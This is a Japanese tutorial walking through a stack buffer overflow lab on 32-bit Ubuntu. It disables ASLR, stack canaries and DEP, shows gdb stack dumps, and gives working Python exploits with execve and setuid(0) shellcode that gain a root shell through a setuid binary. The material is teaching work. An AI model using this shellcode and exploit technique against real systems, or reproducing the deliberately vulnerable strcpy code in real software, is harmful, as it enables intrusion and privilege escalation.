一つ前のエントリで作ったシェルコードを使って、スタックバッファオーバーフローを利用したシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを書いてみる
まずはスタックバッファオーバーフローが起こる単純なプログラムを書いてみる。
/* bof.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100] = {}; /* set all bytes to zero */ printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
このプログラムは、第一引数に指定した文字列をスタック上に確保したバッファにコピーし出力するが、読み込みサイズをチェックしないstrcpyを利用しているためスタックバッファオーバーフローの脆弱性がある。 あとで利用するために、ここではバッファが置かれているアドレスも出力するようにした。
コンパイルして動かしてみると、次のようになる。
$ gcc bof.c $ ./a.out AAAA buf = 0xbfc7ed68 AAAA $ ./a.out $(python -c "print 'A'*200") buf = 0xbfb3f5d8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: ./a.out terminated Segmentation fault (core dumped)
バッファサイズの100を越える長さの文字列を送ると、プログラムが落ちている。
ASLRを無効化する
プログラムを何度も実行すると、bufが置かれているアドレスが毎回変わっていることがわかる。 これは、Address space layout randomization (ASLR) と呼ばれるセキュリティ機構により、スタックやヒープとして確保されるアドレス領域が毎回ランダムに変わるようになっているためである。
今回は単純な攻撃を行うため、ASLRを一時的に無効化する。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0
ふたたびプログラムを実行すると、bufが置かれるアドレスが毎回同じになっていることがわかる。
$ ./a.out AAAA buf = 0xbffff708 AAAA $ ./a.out AAAA buf = 0xbffff708 AAAA
gdbでスタックの状態を調べてみる
デバッガを使い、実行時にスタック領域にどのようなデータが入っているかを調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: push edi 0x08048498 <+4>: push ebx 0x08048499 <+5>: and esp,0xfffffff0 0x0804849c <+8>: sub esp,0x90 0x080484a2 <+14>: mov eax,DWORD PTR [ebp+0xc] 0x080484a5 <+17>: mov DWORD PTR [esp+0x1c],eax 0x080484a9 <+21>: mov eax,gs:0x14 0x080484af <+27>: mov DWORD PTR [esp+0x8c],eax 0x080484b6 <+34>: xor eax,eax 0x080484b8 <+36>: lea ebx,[esp+0x28] 0x080484bc <+40>: mov eax,0x0 0x080484c1 <+45>: mov edx,0x19 0x080484c6 <+50>: mov edi,ebx 0x080484c8 <+52>: mov ecx,edx 0x080484ca <+54>: rep stos DWORD PTR es:[edi],eax 0x080484cc <+56>: mov eax,0x8048600 0x080484d1 <+61>: lea edx,[esp+0x28] 0x080484d5 <+65>: mov DWORD PTR [esp+0x4],edx 0x080484d9 <+69>: mov DWORD PTR [esp],eax 0x080484dc <+72>: call 0x8048380 <printf@plt> 0x080484e1 <+77>: mov eax,DWORD PTR [esp+0x1c] 0x080484e5 <+81>: add eax,0x4 0x080484e8 <+84>: mov eax,DWORD PTR [eax] 0x080484ea <+86>: mov DWORD PTR [esp+0x4],eax 0x080484ee <+90>: lea eax,[esp+0x28] 0x080484f2 <+94>: mov DWORD PTR [esp],eax 0x080484f5 <+97>: call 0x80483a0 <strcpy@plt> 0x080484fa <+102>: lea eax,[esp+0x28] 0x080484fe <+106>: mov DWORD PTR [esp],eax 0x08048501 <+109>: call 0x80483b0 <puts@plt> 0x08048506 <+114>: mov eax,0x0 0x0804850b <+119>: mov edx,DWORD PTR [esp+0x8c] 0x08048512 <+126>: xor edx,DWORD PTR gs:0x14 0x08048519 <+133>: je 0x8048520 <main+140> 0x0804851b <+135>: call 0x8048390 <__stack_chk_fail@plt> 0x08048520 <+140>: lea esp,[ebp-0x8] 0x08048523 <+143>: pop ebx 0x08048524 <+144>: pop edi 0x08048525 <+145>: pop ebp 0x08048526 <+146>: ret End of assembler dump. (gdb) b *0x08048520 Breakpoint 1 at 0x8048520 (gdb) run AAAA Starting program: /home/user/tmp/a.out AAAA buf = 0xbffff6e8 AAAA Breakpoint 1, 0x08048520 in main () (gdb) i r esp ebp esp 0xbffff6c0 0xbffff6c0 ebp 0xbffff758 0xbffff758 (gdb) x/60wx $esp 0xbffff6c0: 0xbffff6e8 0xbffff925 0x00000001 0xb7ec3b19 0xbffff6d0: 0xbffff70f 0xbffff70e 0x00000000 0xbffff7f4 0xbffff6e0: 0xbffff794 0x00000000 0x41414141 0x00000000 0xbffff6f0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff700: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff710: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff720: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff730: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff740: 0x00000000 0x00000000 0x00000000 0xce469500 0xbffff750: 0xb7fd0ff4 0x00000000 0x00000000 0xb7e444d3 0xbffff760: 0x00000002 0xbffff7f4 0xbffff800 0xb7fdc858 0xbffff770: 0x00000000 0xbffff71c 0xbffff800 0x00000000 0xbffff780: 0x0804824c 0xb7fd0ff4 0x00000000 0x00000000 0xbffff790: 0x00000000 0xb305813d 0x8462652d 0x00000000 0xbffff7a0: 0x00000000 0x00000000 0x00000002 0x080483e0 (gdb) x/2s *0xbffff7f4 0xbffff910: "/home/user/tmp/a.out" 0xbffff925: "AAAA" (gdb) x/4s *0xbffff800 0xbffff92a: "SHELL=/bin/bash" 0xbffff93a: "TERM=xterm-256color" 0xbffff94e: "SSH_CLIENT=192.168.56.1 56046 22" 0xbffff96f: "SSH_TTY=/dev/pts/0" (gdb) nexti 0x08048523 in main () (gdb) 0x08048524 in main () (gdb) 0x08048525 in main () (gdb) 0x08048526 in main () (gdb) 0xb7e444d3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 (gdb) cont Continuing. [Inferior 1 (process 1635) exited normally] (gdb) quit
ここでは、puts関数を呼び出した後のスタックの状態を表示している。
AAAA
はバイト列として表すと 41 41 41 41
であり、main関数が終了した後は処理が0xb7e444d3に移っていることがわかる。
これをもとにスタックの状態を整理すると、下のようになる。
0xbffff6c0: 0xbffff6e8 <- esp 0xbffff925 0x00000001 0xb7ec3b19 0xbffff70f 0xbffff70e 0x00000000 0xbffff7f4 0xbffff794 0x00000000 0xbffff6e8: 0x41414141 <- buf 0x00000000 ... 0x00000000 0xbffff74c: 0xce469500 (canary) 0xb7fd0ff4 0x00000000 0xbffff758: 0x00000000 (saved ebp) <- ebp 0xb7e444d3 (return address) 0x00000002 (argc) 0xbffff7f4 (*argv[]) 0xbffff800 (*envp[]) 0xb7fdc858
SSPを無効にする
スタック上にあるcanaryと呼ばれる値は、実行するたびに値が変わる。 これは、stack-smashing protection (SSP) と呼ばれるセキュリティ機構によって追加されるデータである。 SSPは元となった実装の名前からStackGuardやProPoliceとも呼ばれることがある。
SSPは、関数の最初と最後にcanaryのセットおよび値が書き変わっていないかのチェックを行うコードを追加する。
Dump of assembler code for function main: 0x080484a9 <+21>: mov eax,gs:0x14 0x080484af <+27>: mov DWORD PTR [esp+0x8c],eax ... 0x0804850b <+119>: mov edx,DWORD PTR [esp+0x8c] 0x08048512 <+126>: xor edx,DWORD PTR gs:0x14 0x08048519 <+133>: je 0x8048520 <main+140> 0x0804851b <+135>: call 0x8048390 <__stack_chk_fail@plt>
これにより、スタックバッファオーバーフローによりスタック上のcanaryの値が書き換えられたとき、エラーを吐いて終了するようになっている。
$ ./a.out $(python -c "print 'A'*100") buf = 0xbffff6a8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ ./a.out $(python -c "print 'A'*101") buf = 0xbffff6a8 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA *** stack smashing detected ***: ./a.out terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f2feb5] /lib/i386-linux-gnu/libc.so.6(+0x104e6a)[0xb7f2fe6a] ./a.out[0x8048520] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb7e444d3] ./a.out[0x8048401] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 08:01 1966171 /home/user/tmp/a.out 08049000-0804a000 r--p 00000000 08:01 1966171 /home/user/tmp/a.out 0804a000-0804b000 rw-p 00001000 08:01 1966171 /home/user/tmp/a.out 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7e06000-b7e22000 r-xp 00000000 08:01 786476 /lib/i386-linux-gnu/libgcc_s.so.1 b7e22000-b7e23000 r--p 0001b000 08:01 786476 /lib/i386-linux-gnu/libgcc_s.so.1 b7e23000-b7e24000 rw-p 0001c000 08:01 786476 /lib/i386-linux-gnu/libgcc_s.so.1 b7e2a000-b7e2b000 rw-p 00000000 00:00 0 b7e2b000-b7fcf000 r-xp 00000000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fcf000-b7fd1000 r--p 001a4000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd1000-b7fd2000 rw-p 001a6000 08:01 786474 /lib/i386-linux-gnu/libc-2.15.so b7fd2000-b7fd5000 rw-p 00000000 00:00 0 b7fd9000-b7fdd000 rw-p 00000000 00:00 0 b7fdd000-b7fde000 r-xp 00000000 00:00 0 [vdso] b7fde000-b7ffe000 r-xp 00000000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7ffe000-b7fff000 r--p 0001f000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so b7fff000-b8000000 rw-p 00020000 08:01 786464 /lib/i386-linux-gnu/ld-2.15.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] Aborted (core dumped)
ASLR同様、ここではSSPも無効化する。
無効化するには、gccでコンパイルする際に-fno-stack-protector
オプションを追加すればよい。
$ gcc -fno-stack-protector bof.c $ ./a.out $(python -c "print 'A'*101") buf = 0xbffff6ac AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
SSPによる強制終了が起こらなくなっていることがわかる。 gdbでディスアセンブルされたコードやスタックの状態を見ると、canaryに関するコードがなくなっていることが確認できる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x08048444 <+0>: push ebp 0x08048445 <+1>: mov ebp,esp 0x08048447 <+3>: push edi 0x08048448 <+4>: push ebx 0x08048449 <+5>: and esp,0xfffffff0 0x0804844c <+8>: add esp,0xffffff80 0x0804844f <+11>: lea ebx,[esp+0x1c] 0x08048453 <+15>: mov eax,0x0 0x08048458 <+20>: mov edx,0x19 0x0804845d <+25>: mov edi,ebx 0x0804845f <+27>: mov ecx,edx 0x08048461 <+29>: rep stos DWORD PTR es:[edi],eax 0x08048463 <+31>: mov eax,0x8048580 0x08048468 <+36>: lea edx,[esp+0x1c] 0x0804846c <+40>: mov DWORD PTR [esp+0x4],edx 0x08048470 <+44>: mov DWORD PTR [esp],eax 0x08048473 <+47>: call 0x8048340 <printf@plt> 0x08048478 <+52>: mov eax,DWORD PTR [ebp+0xc] 0x0804847b <+55>: add eax,0x4 0x0804847e <+58>: mov eax,DWORD PTR [eax] 0x08048480 <+60>: mov DWORD PTR [esp+0x4],eax 0x08048484 <+64>: lea eax,[esp+0x1c] 0x08048488 <+68>: mov DWORD PTR [esp],eax 0x0804848b <+71>: call 0x8048350 <strcpy@plt> 0x08048490 <+76>: lea eax,[esp+0x1c] 0x08048494 <+80>: mov DWORD PTR [esp],eax 0x08048497 <+83>: call 0x8048360 <puts@plt> 0x0804849c <+88>: mov eax,0x0 0x080484a1 <+93>: lea esp,[ebp-0x8] 0x080484a4 <+96>: pop ebx 0x080484a5 <+97>: pop edi 0x080484a6 <+98>: pop ebp 0x080484a7 <+99>: ret End of assembler dump. (gdb) b *0x080484a1 Breakpoint 1 at 0x80484a1 (gdb) run AAAA Starting program: /home/user/tmp/a.out AAAA buf = 0xbffff6ec AAAA Breakpoint 1, 0x080484a1 in main () (gdb) x/60wx $esp 0xbffff6d0: 0xbffff6ec 0xbffff925 0x00000000 0xb7ff3fec 0xbffff6e0: 0xbffff794 0x00000000 0x00000000 0x41414141 0xbffff6f0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff700: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff710: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff720: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff730: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff740: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff750: 0xb7fd0ff4 0x00000000 0x00000000 0xb7e444d3 0xbffff760: 0x00000002 0xbffff7f4 0xbffff800 0xb7fdc858 0xbffff770: 0x00000000 0xbffff71c 0xbffff800 0x00000000 0xbffff780: 0x0804823c 0xb7fd0ff4 0x00000000 0x00000000 0xbffff790: 0x00000000 0x62d7f5b1 0x55b011a1 0x00000000 0xbffff7a0: 0x00000000 0x00000000 0x00000002 0x08048390 0xbffff7b0: 0x00000000 0xb7ff26b0 0xb7e443e9 0xb7ffeff4 (gdb) cont Continuing. [Inferior 1 (process 1672) exited normally] (gdb) quit
エクスプロイトコードを作る
ここまでの結果から、スタックバッファオーバーフローでシェルを起動するには次のようなデータを送り込めばよいことがわかる。
- データ中にシェルコードを含める
- バッファ長の4ワード先にシェルコードの先頭のアドレスを入れておく
Pythonでコードを書くと、次のようになる。
# exploit.py import sys import struct from subprocess import Popen shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = int(sys.argv[2], 16) buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) p = Popen(['./a.out', buf]) p.wait()
このコードは第一引数にバッファ長、第二引数にバッファの先頭アドレスを取り、計算されたデータをa.outの第一引数にセットして起動する。
struct.pack('<I', addr)
は、addrを32bit符号なし整数とし、リトルエンディアンで表したときのバイト列を返す。
このコードを実行しても、このままではうまくいかない。
$ python exploit.py 100 0xcccccccc buf = 0xbffff68c (snip) $ python exploit.py 100 0xbffff68c buf = 0xbffff68c (snip)
一つ前のエントリで説明したように、DEPを無効にしてコンパイルして実行してみる。
$ gcc -fno-stack-protector -z execstack bof.c $ python exploit.py 100 0xbffff68c buf = 0xbffff68c (snip) $ id uid=1000(user) gid=1000(user) groups=1000(user) $
今度は、うまくシェルが立ち上がっていることを確認できた。
suidビットを利用した権限昇格を試してみる
もしバッファオーバーフロー脆弱性のある実行ファイルにsuidビットが付与されている場合、ファイル所有者の権限(一般にはroot)でシェルを起動できる。
コンパイルしたa.outの所有ユーザをrootとし、suidビットを付与してみる。
$ ls -al a.out -rwxr-xr-x 1 user user 7233 Mar 14 13:52 a.out* $ sudo chown root a.out $ sudo chmod u+s a.out $ ls -al a.out -rwsr-xr-x 1 root user 7233 Mar 14 13:52 a.out*
これで、a.outは実行時rootユーザ権限で動作するようになる。
エクスプロイトコードを実行してみる。
$ python exploit.py 100 0xbffff6dc buf = 0xbffff6dc (snip) # id uid=1000(user) gid=1000(user) euid=0(root) groups=0(root),1000(user) # cat /etc/passwd (snip)
実効ユーザ(euid)がrootになっており、rootユーザとして/etc/passwdが読めることが確認できる。
シェルコード中でsetuid(2)を呼ぶことで、実効ユーザだけでなく実ユーザ(uid)もrootとすることもできる。 具体的には次のようなアセンブリコードを書けばよい。
/* setuid.s */ .intel_syntax noprefix .globl _start _start: /* setuid(0) */ xor ebx, ebx lea eax, [ebx+23] int 0x80 /* execve("/bin//sh", ["/bin//sh", NULL], NULL) */ xor edx, edx push edx push 0x68732f2f push 0x6e69622f mov ebx, esp push edx push ebx mov ecx, esp lea eax, [edx+11] int 0x80
$ gcc -nostdlib setuid.s $ objdump -M intel -d a.out 08048098 <_start>: 8048098: 31 db xor ebx,ebx 804809a: 8d 43 17 lea eax,[ebx+0x17] 804809d: cd 80 int 0x80 804809f: 31 d2 xor edx,edx 80480a1: 52 push edx 80480a2: 68 2f 2f 73 68 push 0x68732f2f 80480a7: 68 2f 62 69 6e push 0x6e69622f 80480ac: 89 e3 mov ebx,esp 80480ae: 52 push edx 80480af: 53 push ebx 80480b0: 89 e1 mov ecx,esp 80480b2: 8d 42 0b lea eax,[edx+0xb] 80480b5: cd 80 int 0x80
エクスプロイトコード中のシェルコードを置き換える。
$ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g' \x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80
# exploit2.py import sys import struct from subprocess import Popen # shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" shellcode = "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = int(sys.argv[2], 16) buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) p = Popen(['./a.out', buf]) p.wait()
suidビットつきの実行ファイルを作り、エクスプロイトコードを実行する。
$ gcc -fno-stack-protector -z execstack bof.c $ sudo chown root a.out $ sudo chmod u+s a.out $ python exploit2.py 100 0xbffff6dc buf = 0xbffff6dc (snip) # id uid=0(root) gid=1000(user) groups=0(root),1000(user) #
実ユーザ(uid)がrootになっていることが確認できる。